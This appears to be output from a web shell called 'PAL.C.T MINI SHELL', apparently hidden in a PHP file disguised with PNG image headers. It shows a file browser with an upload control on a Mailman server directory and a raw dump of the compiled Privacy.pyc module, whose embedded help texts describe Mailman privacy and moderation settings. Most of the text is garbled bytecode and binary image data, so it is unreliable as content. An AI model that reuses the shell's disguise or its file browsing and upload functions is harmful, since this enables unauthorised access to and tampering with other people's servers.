php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Gui/
upload
files >> //usr/lib/mailman/Mailman/Gui/Privacy.pyc

Pc@sdZddkZddklZddklZddklZddklZye	e
fWnej
odZ	dZ
nXd	efd
YZdS(s2MailList mixin class managing the privacy options.iN(tmm_cfg(tUtils(t_(tGUIBaseiitPrivacycBsAeZdZdZedZdZdZdZRS(cCsdtdfS(NtprivacysPrivacy options...(R(tself((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pytGetConfigCategory$scCsR|djoAdtdfdtdfdtdfdtd	fgSdS(
NRtsubscribingsSubscription rulestsendersSender filterst	recipientsRecipient filterstspamsSpam filters(RtNone(Rtcategory((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pytGetConfigSubCategories's
cCsG|djodSti}tioOdtitdtdtdtdfdtdtd	f}nCdtitdtdtdfd
tdtdf}|id}td
tddtitdtdfdtdf|dtitdtdfdtdtdftddtid|fd
tdtdftddtitdtdtdfdtd td!fd"titdtdfdtd#td$fg
}|idd%d
}td&td'd(titdtdfdtd)td*fd+titd,td-td.fdtd/td0fd1tid|fd
td2ftd3d4tid|fd
td5td6fd7tid|fd
td8td9fd:tid|fd
td;td<fd=tid|fd
td>td?fd@titdAtd,td-td.fdtdBtdCfdDtitdtdfdtdEfdFtid|fd
tdGfg
}	tdHtdIdJtitdtdfdtdKtdLfdMtidN|fdtdOtdPfdQti	dRdtdStdTfg}
tdUtdVdWti
ddtdXtdYftdZd[tid\|fdtd]td^fg}|d_jo|	S|d`jo|
S|dajo|S|SdS(bNRtsubscribe_policyRtConfirmsRequire approvalsConfirm and approveis-What steps are required for subscription?<br>sbNone - no verification steps (<em>Not
                           Recommended </em>)<br>
                           Confirm (*) - email confirmation step required <br>
                           Require approval - require list administrator
                           Approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br>

                           This prevents mischievous (or malicious) people
                           from creating subscriptions for others without
                           their consent.isConfirm (*) - email confirmation required <br>
                           Require approval - require list administrator
                           approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br> This prevents
                           mischievous (or malicious) people from creating
                           subscriptions for others without their consent.tadmins1This section allows you to configure subscription and
            membership exposure policy.  You can also control whether this
            list is public or not.  See also the
            <a href="%(admin)s/archive">Archival Options</a> section for
            separate archive-related privacy settings.tSubscribingt
advertisedtNotYessPAdvertise this list when people ask what lists are on this
             machine?tunsubscribe_policysqIs the list moderator's approval required for unsubscription
             requests?  (<em>No</em> is recommended)sbWhen members want to leave a list, they will make an
             unsubscription request, either via the web or via email.
             Normally it is best for you to allow open unsubscriptions so that
             users can easily remove themselves from mailing lists (they get
             really upset if they can't get off lists!).

             <p>For some lists though, you may want to impose moderator
             approval before an unsubscription request is processed.  Examples
             of such lists include a corporate mailing list that all employees
             are required to be members of.sBan listtban_listi
sUList of addresses which are banned from membership in this
             mailing list.sAddresses in this list are banned outright from subscribing
             to this mailing list, with no further moderation required.  Add
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.sMembership exposuretprivate_rostertAnyonesList memberssList admin onlysWho can view subscription list?sgWhen set, the list of subscribers is protected by member or
             admin password authentication.tobscure_addressess[Show member addresses so they're not directly recognizable
             as email addresses?suSetting this option causes member email addresses to be
             transformed when they are presented on list web pages (both in
             text and as links), so they're not trivially recognizable as
             email addresses.  The intention is to prevent the addresses
             from being snarfed up by automated web scanners for use by
             spammers.tabsolutesWhen a message is posted to the list, a series of
            moderation steps are taken to decide whether a moderator must
            first approve the message or not.  This section contains the
            controls for moderation of both member and non-member postings.

            <p>Member postings are held for moderation if their
            <b>moderation flag</b> is turned on.  You can control whether
            member postings are moderated by default or not.

            <p>Non-member postings can be automatically
            <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
            >accepted</a>,
            <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held for
            moderation</a>,
            <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
            >rejected</a> (bounced), or
            <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
            >discarded</a>,
            either individually or as a group.  Any
            posting from a non-member who is not explicitly accepted,
            rejected, or discarded, will have their posting filtered by the
            <a href="?VARHELP=privacy/sender/generic_nonmember_action">general
            non-member rules</a>.

            <p>In the text boxes below, add one address per line; start the
            line with a ^ character to designate a <a href=
            "http://docs.python.org/library/re.html"
            >Python regular expression</a>.  When entering backslashes, do so
            as if you were using Python raw strings (i.e. you generally just
            use a single backslash).

            <p>Note that non-regexp matches are always done first.sMember filterstdefault_member_moderations9By default, should new list member postings be moderated?sEach list member has a <em>moderation flag</em> which says
             whether messages from the list member can be posted directly to
             the list, or must first be approved by the list moderator.  When
             the moderation flag is turned on, list member postings must be
             approved first.  You, the list administrator can decide whether a
             specific individual's postings will be moderated or not.

             <p>When a new member is subscribed, their initial moderation flag
             takes its value from this option.  Turn this option off to accept
             member postings by default.  Turn this option on to, by default,
             moderate member postings first.  You can always manually set an
             individual member's moderation bit by using the
             <a href="%(adminurl)s/members">membership management
             screens</a>.tmember_moderation_actiontHoldtRejecttDiscardsFAction to take when a moderated member posts to the
             list.s<ul><li><b>Hold</b> -- this holds the message for approval
             by the list moderators.

             <p><li><b>Reject</b> -- this automatically rejects the message by
             sending a bounce notice to the post's author.  The text of the
             bounce notice can be <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >configured by you</a>.

             <p><li><b>Discard</b> -- this simply discards the message, with
             no notice sent to the post's author.
             </ul>tmember_moderation_noticesText to include in any
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >rejection notice</a> to
             be sent to moderated members who post to this list.sNon-member filterstaccept_these_nonmemberssZList of non-member addresses whose postings should be
             automatically accepted.sPostings from any of these non-members will be automatically
             accepted with no further moderation applied.  Add member
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.  A line consisting of
             the @ character followed by a list name specifies another
             Mailman list in this installation, all of whose member
             addresses will be accepted for this list.thold_these_nonmemberssaList of non-member addresses whose postings will be
             immediately held for moderation.sPostings from any of these non-members will be immediately
             and automatically held for moderation by the list moderators.
             The sender will receive a notification message which will allow
             them to cancel their held message.  Add member addresses one per
             line; start the line with a ^ character to designate a regular
             expression match.treject_these_nonmemberssXList of non-member addresses whose postings will be
             automatically rejected.s9Postings from any of these non-members will be automatically
             rejected.  In other words, their messages will be bounced back to
             the sender with a notification of automatic rejection.  This
             option is not appropriate for known spam senders; their messages
             should be
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >automatically discarded</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.tdiscard_these_nonmemberssYList of non-member addresses whose postings will be
             automatically discarded.s7Postings from any of these non-members will be automatically
             discarded.  That is, the message will be thrown away with no
             further processing or notification.  The sender will not receive
             a notification or a bounce, however the list moderators can
             optionally <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >receive copies of auto-discarded messages.</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.tgeneric_nonmember_actiontAcceptsbAction to take for postings from non-members for which no
             explicit action is defined.sGWhen a post from a non-member is received, the message's
             sender is matched against the list of explicitly
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >accepted</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >rejected</a> (bounced), and
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discarded</a> addresses.  If no match is found, then this action
             is taken.tforward_auto_discardssuShould messages from non-members, which are automatically
             discarded, be forwarded to the list moderator?tnonmember_rejection_noticesText to include in any rejection notice to be sent to
             non-members who post to this list. This notice can include
             the list's owner address by %%(listowner)s and replaces the
             internally crafted default message.sgThis section allows you to configure various filters based on
            the recipient of the message.sRecipient filterstrequire_explicit_destinationsMust posts have list named in destination (to, cc) field
             (or be among the acceptable alias names, specified below)?sMany (in fact, most) spams do not explicitly name their
             myriad destinations in the explicit destination addresses - in
             fact often the To: field has a totally bogus address for
             obfuscation.  The constraint applies only to the stuff in the
             address before the '@' sign, but still catches all such spams.

             <p>The cost is that the list will not accept unhindered any
             postings relayed from other addresses, unless

             <ol>
                 <li>The relaying address has the same name, or

                 <li>The relaying address name is included on the options that
                 specifies acceptable aliases for the list.

             </ol>tacceptable_aliasesisfAlias names (regexps) which qualify as explicit to or cc
             destination names for this list.sAlternate addresses that are acceptable when
             `require_explicit_destination' is enabled.  This option takes a
             list of regular expressions, one per line, which is matched
             against every recipient address in the message.  The matching is
             performed with Python's re.match() function, meaning they are
             anchored to the start of the string.
             
             <p>For backwards compatibility with Mailman 1.1, if the regexp
             does not contain an `@', then the pattern is matched against just
             the local part of the recipient address.  If that match fails, or
             if the pattern does contain an `@', then the pattern is matched
             against the entire recipient address.
             
             <p>Matching against the local part is deprecated; in a future
             release, the pattern will always be matched against the entire
             recipient address.tmax_num_recipientsis9Ceiling on acceptable number of recipients for a posting.sxIf a posting has this number, or more, of recipients, it is
             held for admin approval.  Use 0 for no ceiling.sThis section allows you to configure various anti-spam
            filters posting filters, which can help reduce the amount of spam
            your list members end up receiving.
            sHeader filterstheader_filter_ruless7Filter rules to match against the headers of a message.sEach header filter rule has two parts, a list of regular
             expressions, one per line, and an action to take.  Mailman
             matches the message's headers against every regular expression in
             the rule and if any match, the message is rejected, held, or
             discarded based on the action you specify.  Use <em>Defer</em> to
             temporarily disable a rule.

             You can have more than one filter rule for your list.  In that
             case, each rule is matched in turn, with processing stopped after
             the first match.

             Note that headers are collected from all the attachments 
             (except for the mailman administrivia message) and
             matched against the regular expressions. With this feature,
             you can effectively sort out messages with dangerous file
             types or file name extensions.sLegacy anti-spam filterstbounce_matching_headersis9Hold posts with header value matching a specified regexp.sUse this option to prohibit posts according to specific
             header values.  The target value is a regular-expression for
             matching against the specified header.  The match is done
             disregarding letter case.  Lines beginning with '#' are ignored
             as comments.

             <p>For example:<pre>to: .*@public.com </pre> says to hold all
             postings with a <em>To:</em> mail header containing '@public.com'
             anywhere among the addresses.

             <p>Note that leading whitespace is trimmed from the regexp.  This
             can be circumvented in a number of ways, e.g. by escaping or
             bracketing it.R	R
R(RRtTEXTFIELDWIDTHtALLOW_OPEN_SUBSCRIBEtRadioRtGetScriptURLtEmailListExtTexttNumbertHeaderFilter(RtmlistR
tsubcattWIDTHtsub_cfentryRtsubscribing_rtntadminurlt
sender_rtnt	recip_rtntspam_rtn((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyt
GetConfigInfo0s
	
									
	!	!						!		!	
		!									*		!											


cCsO|idodS|djotio|d7}nt|||dS(Nt
hdrfilter_Ri(t
startswithRR0tsetattr(RR7tpropertytvaltdoc((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyt	_setValues
cCs|idpdSg}d}d}xtod|}	d|}
d|}d|}d|}
d|}d	|}d
|}|d7}|i|	oq*n|i|
}yt|i|}Wn"ttfj
oti}nX|djoPn|i|o6|o.|djoq*n|i	t
dq*nyti|WnAti
tfj
o,ti|}|i	t
d
q*nX|i|
o|i|}|djo3|idtitf|i||tfq|i||tf|idtitfq*|i|o>|o|id||tfq|i||tfq*|i|o$|d}|i||tfq*|i||tfq*W|dj	o)||}||=|i|d|n||_dS(Nthdrfilter_rebox_01ishdrfilter_delete_%02dshdrfilter_rebox_%02dshdrfilter_action_%02dshdrfilter_where_%02dshdrfilter_add_%02dshdrfilter_new_%02dshdrfilter_up_%02dshdrfilter_down_%02dis_Header filter rules require a pattern.
                Incomplete filter rules will be ignored.sThe header filter rule pattern
                '%(safepattern)s' is not a legal regular expression.  This
                rule will be ignored.tbeforeti(thas_keyRtTruetgetvaluetintt
ValueErrort	TypeErrorRtDEFERtaddErrorRtretcompileterrorRtwebsafetappendtFalsetinsertR-(RR7R
R8tcgidataRFtrulestitdownitdeltagtreboxtagt	actiontagtwheretagtaddtagtnewtagtuptagtdowntagtpatterntactiontsafepatterntwheretrule((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyt_handleFormst










	
	




cCsJ|djo|i|||||nti||||||dS(NR(RkRt
handleForm(RR7R
R8RZRF((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyRls
(	t__name__t
__module__RRRR@RGRkRl(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyR#s					U(
t__doc__RStMailmanRRtMailman.i18nRtMailman.Gui.GUIBaseRRLRXt	NameErrorR(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Gui/Privacy.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`